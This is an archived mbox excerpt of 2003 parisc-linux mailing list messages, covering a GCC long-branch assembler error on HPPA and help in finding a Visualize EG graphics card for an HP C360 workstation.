Copyright 2002 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License.  This program has absolutely no warranty.
This assembler was configured for a target of `hppa-linux'.

# as -o t.o ChFi3d_Builder_CnCrn.s-O2
ChFi3d_Builder_CnCrn.s-O2: Assembler messages:
ChFi3d_Builder_CnCrn.s-O2:146240: Error: Field out of range [-262144..262143]
(-290528).

b) the pre-asm around line 146240:
[...]
 146234 .LBB15456:   
 146235         copy %r4,%r19
 146236         ldo 7216(%r22),%r22
 146237         addl %r22,%r30,%r22
 146238 .LBE15456:
 146239         ftest
 146240         b .L6999
 146241         stw %r23,0(%r22)
 146242         stw %r0,0(%r22)
 146243         stw %r1,-12(%r30)
 146244         bl .+8,%r1
 146245         addil L'.L6999-$PIC_pcrel$0+4,%r1  
 146246         ldo R'.L6999-$PIC_pcrel$0+8(%r1),%r1
 146247         bv %r0(%r1)
 146248         ldw -12(%r30),%r1
 146249 .L7131:

[...]

(iirc b .L6999 means branch _b_ack to label .L6999 
if yes here is also text around this location:
[...]

  29378 .L6999:
  29379         .loc 1 1000 0   
  29380         ldil L'-16384,%r20
  29381         .loc 1 1001 0
  29382         ldil L'-16384,%r22
  29383         .loc 1 1000 0
  29384         ldo 7208(%r20),%r20
  29385         .loc 1 1001 0
  29386         ldil L'-16384,%r23
  29387         .loc 1 1000 0
  29388         addl %r20,%r30,%r20
  29389         .loc 1 1001 0
  29390         ldo 6308(%r22),%r22
  29391         .loc 1 1000 0
  29392         ldw 0(%r20),%r20
  29393 .LBE4386:
[...])

It is well a stub table pb?

If not I will procede next step tomorrow :-)

Thanks again for your attention and patience,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Zlatan Jukic" <zlatan.jukic@fh-vorarlberg.ac.at>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Wed, 18 Jun 2003 18:56:38 +0200
Organization: FH-Vorarlberg
Lines: 309
Approved: news@gmane.org
Message-ID: <1EB1A4E066D0D411BD330008C79F06AE022EC550@yang.tvlbg.ac.at>
References: <1EB1A4E066D0D411BD330008C79F06AE0251B7BF@yang.tvlbg.ac.at>
Reply-To: <zlatan.jukic@fh-vorarlberg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000C_01C335CB.5970E530"
X-Trace: ger.gmane.org 1416622521 26787 80.91.229.3 (22 Nov 2014 02:15:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:21 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Derek Engelhaupt'" <derekengelhaupt@rocketmail.com>,
	"'Grant Grundler'" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 18 11:00:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gnu.uclv.net (gnu.uclv.net [193.170.2.126])
	by dsl2.external.hp.com (Postfix) with ESMTP id F17D74830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jun 2003 11:00:44 -0600 (MDT)
Original-Received: from allian.uclv.net (allian.uclv.net [193.170.2.117])
	by gnu.uclv.net (8.12.8/8.12.8) with ESMTP id h5IH0g4W021097
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 18 Jun 2003 19:00:42 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
Original-Received: from ZJPC (zj-pc.dh.uclv.net [193.170.103.157])
	(authenticated bits=0)
	by allian.uclv.net (8.12.8/8.12.8) with ESMTP id h5IH0eMr047489;
	Wed, 18 Jun 2003 19:00:40 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-Reply-To: <1EB1A4E066D0D411BD330008C79F06AE0251B7BF@yang.tvlbg.ac.at>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18688

This is a multi-part message in MIME format.

------=_NextPart_000_000C_01C335CB.5970E530
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hello Derek and all,

=20

Thank you for your assistance.  Thank you Grant, too!

=20

You already tested this card (Vis EG HSC) on your HP-Visualize C360 =
machine.
The X-Windows system should be started in this case. =20

Can you say me please, where can I find/order and buy this card?

=20

Thank you very much,

Kind regards, Zlatan

=20

-----Original Message-----
From: Derek Engelhaupt [mailto:derekengelhaupt@rocketmail.com]=20
Sent: Mittwoch, 18. Juni 2003 18:00
To: Grant Grundler; Jukic Zlatan
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360

=20

Yes, there is an HSC EG card.  Used it in my C360 before I sold it.  The =
PCI
version of the card has more memory on it though.

=20

derek

Grant Grundler <grundler@parisc-linux.org> wrote:

On Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic wrote:
> I could not start unfortunately the X-Windows system, because it is =
not
> supported by Fx-4 video card.?!

correct

> My question is here: Must I insert another card (and which??), in =
order to
> start X-Windows-system?

> According to Debian HPPA, the Visualize EG should correct to function. =


yes. *PCI* version of the card.
Vis-EG HSC card might also work.

> This card is a 24-bit-video-card, which is recognized in the best way
under
> Linux as "Coral" with HP 715-64,=20

Is that really a Vis-EG HSC card?
Can you post "dmesg" output where STI describes the card?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

  _____ =20

Do you Yahoo!?
SBC
<http://pa.yahoo.com/*http:/rd.yahoo.com/evt=3D1207/*http:/promo.yahoo.co=
m/sbc
/>  Yahoo! DSL - Now only $29.95 per month!


------=_NextPart_000_000C_01C335CB.5970E530
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html>

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DGenerator content=3D"Microsoft Word 10 (filtered)">

<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:blue;
	text-decoration:underline;}
p
	{margin-right:0cm;
	margin-left:0cm;
	font-size:12.0pt;
	font-family:"Times New Roman";}
span.EmailStyle18
	{font-family:Arial;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dblue>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Hello Derek and =
all,</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Thank you for your =
assistance.&nbsp; Thank
you Grant, too!</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>You already tested this card (Vis =
EG HSC)
on your HP-Visualize C360 machine. The X-Windows system should be =
started in
this case.&nbsp; </span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Can you say me please, where can I =
find/order
and buy this card?</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Thank you very =
much,</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Kind regards, =
Zlatan</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'>-----Original =
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> Derek Engelhaupt =
[mailto:derekengelhaupt@rocketmail.com]
<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Mittwoch, 18. Juni =
2003
18:00<br>
<b><span style=3D'font-weight:bold'>To:</span></b> Grant Grundler; Jukic =
Zlatan<br>
<b><span style=3D'font-weight:bold'>Cc:</span></b>
parisc-linux@lists.parisc-linux.org<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Re: =
[parisc-linux] Re:
Visualize EG card on HP PARISC C360</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>Yes, there is =
an HSC EG
card.&nbsp; Used it in my C360 before I sold it.&nbsp; The PCI version =
of the
card has more memory on it though.</span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>derek<br>
<br>
<b><i><span style=3D'font-weight:bold;font-style:italic'>Grant Grundler
&lt;grundler@parisc-linux.org&gt;</span></i></b> =
wrote:</span></font></p>

</div>

<blockquote style=3D'border:none;border-left:solid #1010FF =
1.5pt;padding:0cm 0cm 0cm 4.0pt;
margin-left:3.75pt;margin-top:5.0pt;margin-bottom:5.0pt'>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>On =
</span></font>Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic =
wrote:<br>
&gt; I could not start unfortunately the X-Windows system, because it is =
not<br>
&gt; supported by Fx-4 video card.?!<br>
<br>
correct<br>
<br>
&gt; My question is here: Must I insert another card (and which??), in =
order to<br>
&gt; start X-Windows-system?<br>
<br>
&gt; According to Debian HPPA, the Visualize EG should correct to =
function. <br>
<br>
yes. *PCI* version of the card.<br>
Vis-EG HSC card might also work.<br>
<br>
&gt; This card is a 24-bit-video-card, which is recognized in the best =
way
under<br>
&gt; Linux as &quot;Coral&quot; with HP 715-64, <br>
<br>
Is that really a Vis-EG HSC card?<br>
Can you post &quot;dmesg&quot; output where STI describes the card?<br>
<br>
grant<br>
_______________________________________________<br>
parisc-linux mailing list<br>
parisc-linux@lists.parisc-linux.org<br>
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</p>

</blockquote>

<div class=3DMsoNormal align=3Dcenter =
style=3D'margin-left:36.0pt;text-align:center'><font
size=3D3 face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>

<hr size=3D1 width=3D"100%" align=3Dcenter>

</span></font></div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>Do you =
Yahoo!?<br>
<a
href=3D"http://pa.yahoo.com/*http:/rd.yahoo.com/evt=3D1207/*http:/promo.y=
ahoo.com/sbc/">SBC
Yahoo! DSL</a> - Now only $29.95 per month!</span></font></p>

</div>

</body>

</html>

------=_NextPart_000_000C_01C335CB.5970E530--



From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Wed, 18 Jun 2003 13:12:35 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200306181712.h5IHCa4Z016566@hiauly1.hia.nrc.ca>
References: <3ED4C8B6000076B3@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622521 26793 80.91.229.3 (22 Nov 2014 02:15:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 18 11:12:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BEB04830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jun 2003 11:12:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5IHCbgL016568;
	Wed, 18 Jun 2003 13:12:37 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5IHCa4Z016566;
	Wed, 18 Jun 2003 13:12:36 -0400 (EDT)
In-Reply-To: <3ED4C8B6000076B3@ocpmta1.freegates.net> from "Joel Soete" at Jun 18, 2003 06:38:55 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18689

> It is well a stub table pb?

No, this is a gcc pb.  Please proceed with a PR.  I can see the
problem.  There isn't support for long floating-point branches
in the machine definition :(

I would suggest that the code being generated for this
function isn't going to be very good.  Whenever at function
exceeds 240KB in size, then GCC needs to generate long branches
for function calls and some internal branches.  These sequences
are much longer and less efficient.  You can tweak the parameters
of the GCC's inlining model and probably reduce the size of
the generated code.  The parameters are settable from the
command line and are documented in the manual, etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Wed, 18 Jun 2003 15:12:42 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030618211242.GA8086@dsl2.external.hp.com>
References: <1EB1A4E066D0D411BD330008C79F06AE0251B7BF@yang.tvlbg.ac.at> <1EB1A4E066D0D411BD330008C79F06AE022EC550@yang.tvlbg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622521 26796 80.91.229.3 (22 Nov 2014 02:15:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 18 15:12:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id E81804830; Wed, 18 Jun 2003 15:12:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1EB1A4E066D0D411BD330008C79F06AE022EC550@yang.tvlbg.ac.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18690

On Wed, Jun 18, 2003 at 06:56:38PM +0200, Zlatan Jukic wrote:
> You already tested this card (Vis EG HSC) on your HP-Visualize C360 machine.
> The X-Windows system should be started in this case.  
> 
> Can you say me please, where can I find/order and buy this card?

I don't know.  google? ebay?

grant


From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Wed, 18 Jun 2003 16:53:58 -0700 (PDT)
Lines: 220
Approved: news@gmane.org
Message-ID: <20030618235358.54006.qmail@web12502.mail.yahoo.com>
References: <1EB1A4E066D0D411BD330008C79F06AE022EC550@yang.tvlbg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-827210007-1055980438=:53760"
X-Trace: ger.gmane.org 1416622521 26797 80.91.229.3 (22 Nov 2014 02:15:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: zlatan.jukic@fh-vorarlberg.ac.at
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 18 17:53:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 14492482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jun 2003 17:53:59 -0600 (MDT)
Original-Received: from [161.114.1.185] by web12502.mail.yahoo.com via HTTP; Wed, 18 Jun 2003 16:53:58 PDT
In-Reply-To: <1EB1A4E066D0D411BD330008C79F06AE022EC550@yang.tvlbg.ac.at>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18691

--0-827210007-1055980438=:53760
Content-Type: text/plain; charset=us-ascii

You will need one of the following cards:  A4977A (PCI), A4450A (GSC), or A4451A (GSC dual head).  Part numbers are listed below.  You will also need an EVC to 15-pin converter for all of these cards and that part number is listed below also.  All of this info came from partsurfer.hp.com (no "www" in front of it).  There is a PCI EG card for sale on Ebay:  
 
http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3031053367&category=11221
 
Looks like Cypress Tech ( sales@cypress-tech.com) have some of the A4450A GSC cards, but I've never had any dealings with them.  Their prices on Ebay seem high though.   Good luck.
 
A4450-66501636.00VISUALIZE-EG graphic accelerator board - For 2D and 3D wireframe graphics - Includes color recovery (P/O A4450A) 


A4451-665011644.00Dual VISUALIZE-EG graphic accelerator board - For 2D and 3D wireframe graphics - Includes color recovery (A4451A) 
 
1253-063528.00Enhanced Video Connector (EVC) video adapter cable - EVC(M) to 15-pin(F) - 7.87in (0.2m) long - Used to connect EVC video output to 15-pin monitor 
 
A4977-66501VIZUALIZE-EG/PCI 

Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at> wrote:

Hello Derek and all,

 

Thank you for your assistance.  Thank you Grant, too!

 

You already tested this card (Vis EG HSC) on your HP-Visualize C360 machine. The X-Windows system should be started in this case.  

Can you say me please, where can I find/order and buy this card?

 

Thank you very much,

Kind regards, Zlatan

 

-----Original Message-----
From: Derek Engelhaupt [mailto:derekengelhaupt@rocketmail.com] 
Sent: Mittwoch, 18. Juni 2003 18:00
To: Grant Grundler; Jukic Zlatan
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360

 

Yes, there is an HSC EG card.  Used it in my C360 before I sold it.  The PCI version of the card has more memory on it though.


 


derek

Grant Grundler <grundler@parisc-linux.org> wrote:


On Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic wrote:
> I could not start unfortunately the X-Windows system, because it is not
> supported by Fx-4 video card.?!

correct

> My question is here: Must I insert another card (and which??), in order to
> start X-Windows-system?

> According to Debian HPPA, the Visualize EG should correct to function. 

yes. *PCI* version of the card.
Vis-EG HSC card might also work.

> This card is a 24-bit-video-card, which is recognized in the best way under
> Linux as "Coral" with HP 715-64, 

Is that really a Vis-EG HSC card?
Can you post "dmesg" output where STI describes the card?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---------------------------------


Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!



---------------------------------
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
--0-827210007-1055980438=:53760
Content-Type: text/html; charset=us-ascii

<DIV>You will need one of the following cards:&nbsp; A4977A (PCI), A4450A (GSC), or A4451A (GSC dual head).&nbsp; Part numbers are listed below.&nbsp; You will also need an EVC to 15-pin converter for all of these cards and that part number is listed below also.&nbsp; All of this info came from partsurfer.hp.com (no "www" in front of it).&nbsp; There is a PCI EG card for sale on Ebay:&nbsp; </DIV>
<DIV>&nbsp;</DIV>
<DIV><A href="http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3031053367&amp;category=11221">http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3031053367&amp;category=11221</A></DIV>
<DIV>&nbsp;</DIV>
<DIV>Looks like Cypress Tech (<STRONG> </STRONG><A href="mailto:sales@cypress-tech.com"><STRONG>sales@cypress-tech.com</STRONG></A>)&nbsp;have some of the A4450A GSC cards, but I've never had any dealings with them.&nbsp; Their prices on Ebay seem high though.&nbsp;&nbsp; Good luck.</DIV>
<DIV>&nbsp;</DIV>
<DIV>
<TABLE cellSpacing=0 cellPadding=4 border=1 VALIGN="top">
<TBODY>
<TR vAlign=top bgColor=#cccccc>
<TD><NOBR>A4450-66501</NOBR></TD>
<TD align=right><NOBR>636.00</NOBR></TD>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD>VISUALIZE-EG graphic accelerator board - For 2D and 3D wireframe graphics - Includes color recovery (P/O A4450A) </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV>
<DIV><BR></DIV>
<DIV>
<TABLE cellSpacing=0 cellPadding=4 border=1 VALIGN="top">
<TBODY>
<TR vAlign=top bgColor=#cccccc>
<TD><NOBR>A4451-66501</NOBR></TD>
<TD align=right><NOBR>1644.00</NOBR></TD>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD>Dual VISUALIZE-EG graphic accelerator board - For 2D and 3D wireframe graphics - Includes color recovery (A4451A) </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV>
<DIV>&nbsp;</DIV>
<DIV>
<TABLE cellSpacing=0 cellPadding=4 border=1 VALIGN="top">
<TBODY>
<TR vAlign=top bgColor=#e6e6e6>
<TD><NOBR>1253-0635</NOBR></TD>
<TD align=right><NOBR>28.00</NOBR></TD>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD>Enhanced Video Connector (EVC) video adapter cable - EVC(M) to 15-pin(F) - 7.87in (0.2m) long - Used to connect EVC video output to 15-pin monitor </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV>
<DIV>&nbsp;</DIV>
<DIV>
<TABLE cellSpacing=0 cellPadding=4 border=1 VALIGN="top">
<TBODY>
<TR vAlign=top bgColor=#cccccc>
<TD><NOBR>A4977-66501</NOBR></TD>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD>VIZUALIZE-EG/PCI </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><!--END OF OUTPUT FROM showpartlist--></DIV>
<DIV><BR><B><I>Zlatan Jukic &lt;zlatan.jukic@fh-vorarlberg.ac.at&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">
<META content="Microsoft Word 10 (filtered)" name=Generator>
<STYLE>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:blue;
	text-decoration:underline;}
p
	{margin-right:0cm;
	margin-left:0cm;
	font-size:12.0pt;
	font-family:"Times New Roman";}
span.EmailStyle18
	{font-family:Arial;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.Section1
	{page:Section1;}
-->
</STYLE>

<DIV class=Section1>
<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial">Hello Derek and all,</SPAN></FONT></P>
